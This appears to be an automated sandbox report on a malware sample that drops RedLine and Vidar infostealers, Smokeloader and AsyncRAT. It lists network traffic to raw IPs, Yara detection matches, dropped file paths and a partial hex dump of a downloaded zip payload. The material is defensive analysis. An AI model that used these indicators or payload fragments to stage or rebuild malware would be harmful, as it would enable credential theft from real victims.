Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 23 Aug 2022 01:42:35 GMTContent-Type: text/htmlContent-Length: 548Connection: close

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 23 Aug 2022 01:42:55 GMTContent-Type: application/zipContent-Length: 3642574Last-Modified: Mon, 04 Jul 2022 10:49:28 GMTConnection: keep-aliveETag: "62c2c5b8-3794ce"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 10 6e 55 53 4b 12 b5 9b fc b5 00 00 48 47 01 00 10 00 1c 00 76 63 72 75 6e 74 69 6d 65 31 34 30 2e 64 6c 6c 55 54 09 00 03 b0 6f 71 61 b0 6f 71 61 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 ec fd 0b 40 54 d5 bb 38 0c ef 61 06 18 71 60 46 05 45 45 1d 15 6f e1 65 98 e1 3e c3 55 06 f1 82 0e 22 e0 0d 11 b9 38 20 02 c1 1e d4 14 45 07 ca 71 37 e5 af ac ac ac 34 ad 9f 95 95 95 99 99 19 88 09 98 29 5e 32 4b 2b 34 aa 4d 43 8a 4a 80 4a ce f7 3c 6b ef 81 01 c5 73 ce ff 7d cf 7b be f7 fb 0e ba f6 65 5d 9e f5 ac 67 3d b7 b5 f6 5a 6b e2 16 6e a5 84 14 45 89 20 58 ad 14 75 88 e2 fe 22 a8 ff f8 af 19 82 db 88 c3 6e d4 81 3e df 8e 3c 24 98 f5 ed c8 79 fa ec 22 79 41 61 fe f2 c2 b4 95 f2 f4 b4 bc bc 7c 5a be 2c 53 5e 68 c8 93 67 e7 c9 a3 e7 24 c8 57 e6 67 64 4e 76 75 75 f1 e6 61 08 ee ec 9e ad dd fe ed 30 5b b8 29 1a 35 6c 1a dc 67 d5 2f 19 36 9b c4 9d 1a 96 0b f7 1d 77 6b bd 12 c9 fd b4 57 12 b9 d7 78 45 92 fb d7 5e a9 e4 fe ad 57 34 b9 2b 87 71 f7 33 e4 7d 6e 76 ba 1e e1 da 70 d6 69 29 6a 96 c0 91 92 04 8d 5b 60 8b ab a7 46 8d ec 2b 70 eb 4b fd 09 2f 72 3e f2 03 08 32 82 21 45 9e f0 d9 81 a2 9c e0 e6 42 71 77 8e 50 02 42 bc 23 fd 1c 80 8e 11 91 a4 90 8c 2b c2 dd b9 db 7e 20 96 7b 1f 8a aa 90 09 a8 a7 31 52 2e a0 c4 22 3b 62 8a 05 54 6c 38 dc 15 02 6a 1b 54 b0 7f 04 45 05 3d 82 f6 ec 88 1e 7d 04 70 8f 3c 22 ff 64 3a 73 35 0d f7 e3 8d 3c 42 d8 56 51 f7 3c d0 f4 a5 93 33 d2 e8 34 78 8e 76 e2 db 0e 6d a6 ae 77 cf 07 f5 56 4c ce e6 32 1e 72 e4 ea 26 04 69 7e 20 5f c4 e4 c2 a2 c2 74 6c 9e 88 6b 33 c9 d7 fa b0 7c 99 b9 f9 90 11 db 8e 34 a0 24 70 ef 78 20 5f d4 23 9a f8 bf 7f ff 07 7f 05 63 e1 52 07 17 41 33 3e 6d 1d 07 97 88 f1 18 f7 18 26 fb 40 d0 e1 65 2b 5e 76 e2 65 3f 5e 2a f0 52 87 17 f9 44 b8 28 f0 12 81 97 7a bc c8 26 61 2a 5e a8 c9 f8 8a 97 a5 78 69 56 62 09 3f 4c 40 e6 56 04 23 bc 10 7c d5 e0 13 5e a8 50 2c 11 86 25 f0 52 81 97 7a bc 50 28 1d a5 78 59 1a 81 88 47 63 02 5e 28 2d 56 8e 97 02 f2 14 83 38 e3 65 29 5e b6 e2 85 9a 86 f5 e2 25 02 2f 4b f1 a2 98 8e f0 66 22 a6 78 69 c6 0b 35 0b f3 e1 25 02 2f a5 e4 35 0e d1 c0 4b c1 3b 18 87 97 ad 78 d9 8f 97 0a f2 f4 2e e6 7b 0f 81 e2 25 02 2f 4b f1 52 40 5e f7 61 09 bc d4 e1 85 68 96 f1 70 11 b4 e3 45 b4 1f 2e 8a fd 08 0a 2f e2 8f b0 ec c7 48 6c bc c8 3f 41 a0 78 89 c7 cb 8b 78 a1 3e 85 12 05 07 91 4c 5f 20 0d ea 10 fc 59 7c fd 1e 9f ae 60 63 7e c2 b2 bf 20 a8 7a c4 e0 37 c4 05 2f 4b 7f 87 b2 3b f1 52 f7 3b 26 b0 08 0a 55 81 ce 82 55 5a 1e e0 0f d4 7e a5 72 4a 06 99 64 0a 07 81 ac 14 02 c5 75 b6 6c af 3b 25 6b 80 20 f7 a0 64 b2 a1 94 cc 1b 42 04 84 79 10 68 08 fb 20 fe 10 84 0a 08 a7 20 5c 82 d0 00 a1 19 02 35 90 92 49 20 b8 43 f0 82 30 1e 82 1f 84 b0 81 9c d6 8c 80 7b 2c 04 1d 84 79 10 e6 43 58 0c 61 29 84 0c 08 7a 08 b9 10 56 43 58 07

Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158
Source: unknown	TCP traffic detected without corresponding DNS query: 45.95.11.158

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8

Source: unknown	HTTPS traffic detected: 148.251.234.83:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.22.1.232:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49830 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: SETUP_~1.EXE PID: 2708, type: MEMORYSTR

Source: em1B8DcC72.exe, 00000001.00000002.434987039.00000000007AA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 32.2.EU1.exe.1200000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 19.0.namdoitntn.exe.470000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.0.namdoitntn.exe.470000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 21.2.real.exe.1030000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 27.2.brokerius.exe.8f0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 1.3.em1B8DcC72.exe.2a85a14.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 1.3.em1B8DcC72.exe.2a6ae14.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.3.em1B8DcC72.exe.2a6ae14.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 27.0.brokerius.exe.8f0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 23.0.safert44.exe.c30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 23.0.safert44.exe.c30000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 32.0.EU1.exe.1200000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 31.0.ffnameedit.exe.a00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 31.0.ffnameedit.exe.a00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 24.0.jshainx.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 24.0.jshainx.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 1.3.em1B8DcC72.exe.2a85a14.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 21.0.real.exe.1030000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 00000020.00000000.414112277.0000000001233000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 00000010.00000002.511481552.0000000000738000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000000.374306011.0000000000472000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000020.00000002.853532518.0000000001233000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 00000018.00000000.387215652.00000000007F3000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 0000001F.00000000.411195133.0000000000A13000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 0000001B.00000000.401599963.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 00000017.00000000.381266981.0000000000C32000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 00000015.00000000.379314046.0000000001063000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 00000015.00000002.881023621.0000000001063000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 0000001B.00000002.846627950.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: Process Memory Space: real.exe PID: 4664, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: Process Memory Space: brokerius.exe PID: 5400, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: Process Memory Space: EU1.exe PID: 1540, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe, type: DROPPED	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, type: DROPPED	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe, type: DROPPED	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, type: DROPPED	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe, type: DROPPED	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: C:\Program Files (x86)\Company\NewProduct\real.exe, type: DROPPED	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00426000		16_2_00426000
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00425220		16_2_00425220

Source: em1B8DcC72.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: em1B8DcC72.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ordo_sec666.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ordo_sec666.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ordo_sec666.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F0geI.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F0geI.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F0geI.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F0geI.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F0geI.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F0geI.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F0geI.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: F0geI.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: kukurzka9000.exe.1.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: captain09876.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: captain09876.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: captain09876.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DllResource.exe.30.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DllResource.exe.30.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DllResource.exe.30.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: sqlite3.dll.16.dr

Static PE information: Number of sections : 18 > 10

Source: em1B8DcC72.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 32.2.EU1.exe.1200000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 19.0.namdoitntn.exe.470000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.0.namdoitntn.exe.470000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 21.2.real.exe.1030000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 27.2.brokerius.exe.8f0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 1.3.em1B8DcC72.exe.2a85a14.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 1.3.em1B8DcC72.exe.2a6ae14.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.3.em1B8DcC72.exe.2a6ae14.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 27.0.brokerius.exe.8f0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 23.0.safert44.exe.c30000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 23.0.safert44.exe.c30000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 32.0.EU1.exe.1200000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 31.0.ffnameedit.exe.a00000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 31.0.ffnameedit.exe.a00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 24.0.jshainx.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 24.0.jshainx.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
